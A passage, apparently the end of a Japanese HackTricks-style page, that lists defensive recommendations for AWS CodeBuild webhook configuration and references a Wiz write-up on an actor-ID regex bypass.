1. PR ビルドに対してコメント承認を必須にする(`ALL_PULL_REQUESTS` または `FORK_PULL_REQUESTS`)。
|
||||
2. actor allowlist を使用する場合、正規表現をアンカーし(^...$)、正確に保つ。
|
||||
3. `buildspec.yml` や CI スクリプトへの信頼できない編集を避けるため、`FILE_PATH` 制限を追加する。
|
||||
4. 信頼できるリリースビルドと信頼できない PR ビルドを別々のプロジェクト/ロールに分離する。
|
||||
5. 細粒度で最小権限のソースプロバイダトークンを使用する(専用の低権限アイデンティティを優先)。
|
||||
6. webhook フィルタとソース認証情報の使用状況を継続的に監査する。
|
||||
|
||||
## 参考資料
|
||||
|
||||
- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID 正規表現バイパスとトークン窃取](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html)
|
||||
- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html)
|
||||
- [AWS CodeBuild User Guide - webhook のベストプラクティス](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user